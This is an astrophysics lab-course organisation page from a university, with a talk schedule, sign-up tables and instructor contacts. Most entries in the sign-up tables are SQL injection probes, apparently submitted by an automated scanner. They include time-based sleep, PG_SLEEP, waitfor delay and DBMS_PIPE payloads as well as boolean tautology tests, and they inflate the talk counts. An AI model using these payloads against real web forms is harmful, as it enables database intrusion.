

Organizational Matters - Summer Semester 2023

This article documents all agreements, arrangements, talks, etc. within the scope of the astrophysical laboratory course.

Talk program

Date	Talk	Speaker			
02.05.	Spectroscopy with the OST: description of the observation, data reduction, and data analysis	Emily Loessnitz			
02.05.	Photometry with the OST: description of the observation, data reduction, and data analysis	Jan-Marco Kubat			
16.05.	Principles of optical telescopic observations - refractors & reflectors, magnification, aberrations. OST				
16.05.	Spectroscopy - different types of spectrographs and basic principles. OST	Alankar Kamble			
23.05.	The Sun: structure, dynamo, and magnetic field. The solar observatory at the Einsteinurm	Laurent Stütz			
23.05.	The Sun: solar activity, solar cycle, solar spots, and Zeeman effect measurements	Anurag Talele			
30.05.	Photometry - stellar magnitudes, extinction, photometric bands, modern photometry				
30.05.	Stars: spectral types and the HRD	Noel Hofmann			
06.06.	Stellar evolution and evolutionary tracks on the HRD and CMD	Infant Ronald Reagan Johnson Amalraj			
06.06.	Binary stars and radial velocity measurements as a tool to determine stellar properties	Clemens Dittmer			
13.06.	Eclipsing binaries and other methods to determine stellar masses	Kira Knauff			
13.06.	Solar System Planets and how to observe them with the OST				
20.06.	Exoplanets and the methods of their detection	Sebastian Frischmann			
20.06.	Variable and pulsating stars. Light-curves. Asteroseysmology	Maryna Bakhmat			
Talks I: master program - summer semester 2024					
Real name	Principles of optical telescopic observations - refractors & reflectors, magnification, aberrations. OST	Spectroscopy - different types of spectrographs and basic principles. OST	The Sun: structure, dynamo, and magnetic field. The solar observatory at the Einsteinurm	The Sun: solar activity, solar cycle, solar spots, and Zeeman effect measurements	Binary stars and radial velocity measurements as a tool to determine stellar properties
(select(0)from(select(sleep(15)))v)/^*+(select(0)from(select(sleep(15)))v)+"+(select(0)from(select(sleep(15)))v)+**/	✓				
-1 OR 2+79-79-1=0+0+0+1		✓			
-1 OR 2+303-303-1=0+0+0+1 --	✓				
-1 OR 2+495-495-1=0+0+0+1			✓		
-1 OR 2+749-749-1=0+0+0+1	✓				
-1 OR 2+778-778-1=0+0+0+1 --		✓			
-1 OR 2+975-975-1=0+0+0+1 --			✓		
-1 OR 3*2>(0+5+79-79)		✓			
-1 OR 3*2>(0+5+303-303) --	✓				
-1 OR 3*2>(0+5+495-495)			✓		
-1 OR 3*2>(0+5+749-749) (mitzerott)	✓				
-1 OR 3*2>(0+5+778-778) --		✓			
-1 OR 3*2>(0+5+975-975) --			✓		
-1 OR 3*2<(0+5+79-79)		✓			
-1 OR 3*2<(0+5+303-303) --	✓				

	-1 OR 3*2<(0+5+495-495)			✓		
	-1 OR 3*2<(0+5+749-749)	✓				
	-1 OR 3*2<(0+5+778-778) --		✓			
	-1 OR 3*2<(0+5+975-975) --			✓		
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	-1 OR 3+303-303-1=0+0+0+1 --	✓				
	-1 OR 3+495-495-1=0+0+0+1			✓		
	-1 OR 3+749-749-1=0+0+0+1	✓				
	-1 OR 3+778-778-1=0+0+0+1 --		✓			
	-1 OR 3+975-975-1=0+0+0+1 --			✓		
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	-1' OR 2+169-169-1=0+0+0+1 or 'OmzOaVEY'='	✓				
	-1' OR 2+447-447-1=0+0+0+1 --	✓				
	-1' OR 2+511-511-1=0+0+0+1 --			✓		
	-1' OR 2+661-661-1=0+0+0+1 or 'RXziS5om'='			✓		
	-1' OR 2+938-938-1=0+0+0+1 --		✓			
	-1' OR 3*2>(0+5+99-99) or 'dbYbiRZi'='		✓			
	-1' OR 3*2>(0+5+169-169) or 'OmzOaVEY'='	✓				
	-1' OR 3*2>(0+5+447-447) --	✓				
	-1' OR 3*2>(0+5+511-511) --			✓		
	-1' OR 3*2>(0+5+661-661) or 'RXziS5om'='			✓		
	-1' OR 3*2>(0+5+938-938) --		✓			
	-1' OR 3*2<(0+5+99-99) or 'dbYbiRZi'='		✓			
	-1' OR 3*2<(0+5+169-169) or 'OmzOaVEY'='	✓				
	-1' OR 3*2<(0+5+447-447) --	✓				
	-1' OR 3*2<(0+5+511-511) --			✓		
	-1' OR 3*2<(0+5+661-661) or 'RXziS5om'='			✓		
	-1' OR 3*2<(0+5+938-938) --		✓			
	-1' OR 3+99-99-1=0+0+0+1 or 'dbYbiRZi'='		✓			
	-1' OR 3+169-169-1=0+0+0+1 or 'OmzOaVEY'='	✓				
	-1' OR 3+447-447-1=0+0+0+1 --	✓				
	-1' OR 3+511-511-1=0+0+0+1 --			✓		
	-1' OR 3+661-661-1=0+0+0+1 or 'RXziS5om'='			✓		
	-1' OR 3+938-938-1=0+0+0+1 --		✓			
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	-1" OR 2+425-425-1=0+0+0+1 --		✓			
	-1" OR 2+599-599-1=0+0+0+1 --			✓		
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	-1" OR 3*2>(0+5+425-425) --		✓			
	-1" OR 3*2>(0+5+599-599) --			✓		
	-1" OR 3*2<(0+5+181-181) --	✓				
	-1" OR 3*2<(0+5+425-425) --		✓			
	-1" OR 3*2<(0+5+599-599) --			✓		
	-1" OR 3+181-181-1=0+0+0+1 --	✓				
	-1" OR 3+425-425-1=0+0+0+1 --		✓			
	-1" OR 3+599-599-1=0+0+0+1 --			✓		
	@@4zLOQ			✓		
	@@Ad4ji	✓				
	@@pKvgF		✓			
	Alankar Kamble		✓			
	Anurag Talele				✓	
	BtPQubBX	✓				
	BtPQubBX''	✓				
	BtPQubBX'' DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)) CHR(98)) CHR(98),15) '	✓				
	BtPQubBX-1 waitfor delay '0:0:15' --	✓				
	BtPQubBX0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	✓				
	BtPQubBX0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	✓				
	BtPQubBX1jzULbEv'; waitfor delay '0:0:15' --	✓				
	BtPQubBX39qC1eZ2' OR 832=(SELECT 832 FROM PG_SLEEP(15))--			✓		
	BtPQubBX94mFMqDF'; waitfor delay '0:0:15' --		✓			
	BtPQubBXdmGmsM13') OR 614=(SELECT 614 FROM PG_SLEEP(15))--		✓			
	BtPQubBXg55xYlev' OR 696=(SELECT 696 FROM PG_SLEEP(15))--	✓				
	BtPQubBXgV6A0m9H' OR 702=(SELECT 702 FROM PG_SLEEP(15))--		✓			
	BtPQubBXHjD32G0a') OR 812=(SELECT 812 FROM PG_SLEEP(15))--			✓		
	BtPQubBXhVkmYSu') OR 425=(SELECT 425 FROM PG_SLEEP(15))--	✓				
	BtPQubBXj4izf8Qn') OR 911=(SELECT 911 FROM PG_SLEEP(15))--	✓				
	BtPQubBXK3B6EyCo') OR 584=(SELECT 584 FROM PG_SLEEP(15))--			✓		
	BtPQubBXq57sapEh'; waitfor delay '0:0:15' --			✓		
	BtPQubBXWRppm2FO') OR 355=(SELECT 355 FROM PG_SLEEP(15))--		✓			
	BtPQubBX%2527%2522%\	✓				
	Dr. Lidia Oskinova (lidia)			✓		
	if(now()=sysdate(),sleep(15),0)	✓				
	Count:	34	26	26	1	0
Talks II: master program - summer semester 2024						
Real name	Photometry - stellar magnitudes, extinction, photometric bands, modern photometry	Stars: spectral types and the HRD	Stellar evolution and evolutionary tracks on the HRD and CMD	Binary stars and radial velocity measurements as a tool to determine stellar properties	Eclipsing binaries and other methods to determine stellar masses	
	(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'+(select(0)from(select(sleep(15)))v)+'*/	✓				
	-1 OR 2+99-99-1=0+0+0+1 --	✓				

-1 OR 2+284-284-1=0+0+0+1	✓				
-1 OR 3*2>(0+5+99-99) --	✓				
-1 OR 3*2>(0+5+284-284)	✓				
-1 OR 3*2<(0+5+99-99) --	✓				
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-1 OR 3+99-99-1=0+0+0+1 --	✓				
-1 OR 3+284-284-1=0+0+0+1	✓				
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-1' OR 3*2>(0+5+367-367) --	✓				
-1' OR 3*2>(0+5+782-782) or 'oci0L5wK'='	✓				
-1' OR 3*2<(0+5+367-367) --	✓				
-1' OR 3*2<(0+5+782-782) or 'oci0L5wK'='	✓				
-1' OR 3+367-367-1=0+0+0+1 --	✓				
-1' OR 3+782-782-1=0+0+0+1 or 'oci0L5wK'='	✓				
-1" OR 2+12-12-1=0+0+0+1 --	✓				
-1" OR 3*2>(0+5+12-12) --	✓				
-1" OR 3*2<(0+5+12-12) --	✓				
-1" OR 3+12-12-1=0+0+0+1 --	✓				
@@VOnRq	✓				
Alpha (alpha)					✓
BtPQubBX	✓				
BtPQubBX'''	✓				
BtPQubBX' DBMS_PIPE.RECEIVE_MESSAGE(CHR(98) CHR(98) CHR(98),15) '	✓				
BtPQubBX-1 waitfor delay '0:0:15' --	✓				
BtPQubBX0'XOR(if(now())=sysdate(),sleep(15),0))XOR'Z	✓				
BtPQubBX0"XOR(if(now())=sysdate(),sleep(15),0))XOR"Z	✓				
BtPQubBXlaMgjr6R') OR 887=(SELECT 887 FROM PG_SLEEP(15))--	✓				
BtPQubBXlTHdf6aX' OR 637=(SELECT 637 FROM PG_SLEEP(15))--	✓				
BtPQubBXpj5ZjkYb')) OR 779=(SELECT 779 FROM PG_SLEEP(15))--	✓				
BtPQubBXPk9L1Nw9'; waitfor delay '0:0:15' --	✓				
BtPQubBXw8RlZyIA	✓				
BtPQubBX%2527%2522%\''	✓				
Clemens Dittmer				✓	
if(now())=sysdate(),sleep(15),0)	✓				
Infant Ronald Reagan Johnson Amalraj			✓		
Noel Hofmann		✓			
Count:	35	1	1	1	1

Talks III: master program - summer semester 2024

Real name	Solar System Planets and how to observe them with the OST	Exoplanets and the methods of their detection
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'+(select(0)from(select(sleep(15)))v)+'/*	✓	
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-1 OR 2+949-949-1=0+0+0+1 --	✓	
-1 OR 3*2>(0+5+135-135)	✓	
-1 OR 3*2>(0+5+949-949) --	✓	
-1 OR 3*2<(0+5+135-135)	✓	
-1 OR 3*2<(0+5+949-949) --	✓	
-1 OR 3+135-135-1=0+0+0+1	✓	
-1 OR 3+949-949-1=0+0+0+1 --	✓	
-1' OR 2+268-268-1=0+0+0+1 or '0tgzeQoR'='	✓	
-1' OR 2+683-683-1=0+0+0+1 --	✓	
-1' OR 3*2>(0+5+268-268) or '0tgzeQoR'='	✓	
-1' OR 3*2>(0+5+683-683) --	✓	
-1' OR 3*2<(0+5+268-268) or '0tgzeQoR'='	✓	
-1' OR 3*2<(0+5+683-683) --	✓	
-1' OR 3+268-268-1=0+0+0+1 or '0tgzeQoR'='	✓	
-1' OR 3+683-683-1=0+0+0+1 --	✓	
-1" OR 2+392-392-1=0+0+0+1 --	✓	
-1" OR 3*2>(0+5+392-392) --	✓	
-1" OR 3*2<(0+5+392-392) --	✓	
-1" OR 3+392-392-1=0+0+0+1 --	✓	
@@4UGou	✓	
BtPQubBX	✓	
BtPQubBX'''	✓	

BtPQubBX' DBMS_PIPE.RECEIVE_MESSAGE(CHR(98) CHR(98) CHR(98),15) '	✔	
BtPQubBX-1 waitfor delay '0:0:15' --	✔	
BtPQubBX0'XOR(if(now())=sysdate(),sleep(15),0))XOR'Z	✔	
BtPQubBX0"XOR(if(now())=sysdate(),sleep(15),0))XOR"Z	✔	
BtPQubBX6pXkYNVi')) OR 731=(SELECT 731 FROM PG_SLEEP(15))--	✔	
BtPQubBXEtwaCqWq' OR 358=(SELECT 358 FROM PG_SLEEP(15))--	✔	
BtPQubBXrjwdFcqk	✔	
BtPQubBXTKITphJp'; waitfor delay '0:0:15' --	✔	
BtPQubBXUO2vK5Y7') OR 279=(SELECT 279 FROM PG_SLEEP(15))--	✔	
BtPQubBX%2527%2522\"	✔	
if(now())=sysdate(),sleep(15),0)	✔	
Sebastian Frischmann		✔
Count:	35	1

An extensive overview on how to prepare talks in a scientific context can be found [here](#).

Contacts

If you want to contact us, you can find our email address at ***prakt@astro.physik.uni-potsdam.de***, since it allows to reach all instructors.

Name	Room	Mail	Responsibilities
apl. Prof. Lidia Oskanova	2.135	lida	organization, talks, protocols
M.Sc. Sabela Reyero	2.115	sabela	organization, talks
B.Sc. Fabian Mattig	2.008	fmattig	telescope support, data reduction support
B.Sc. Jonas Brinkmann	2.008	jbrinkmann	telescope support, data reduction support
Rainer Hainich	2.009	rhainich	technical support

[Overview: laboratory course](#)

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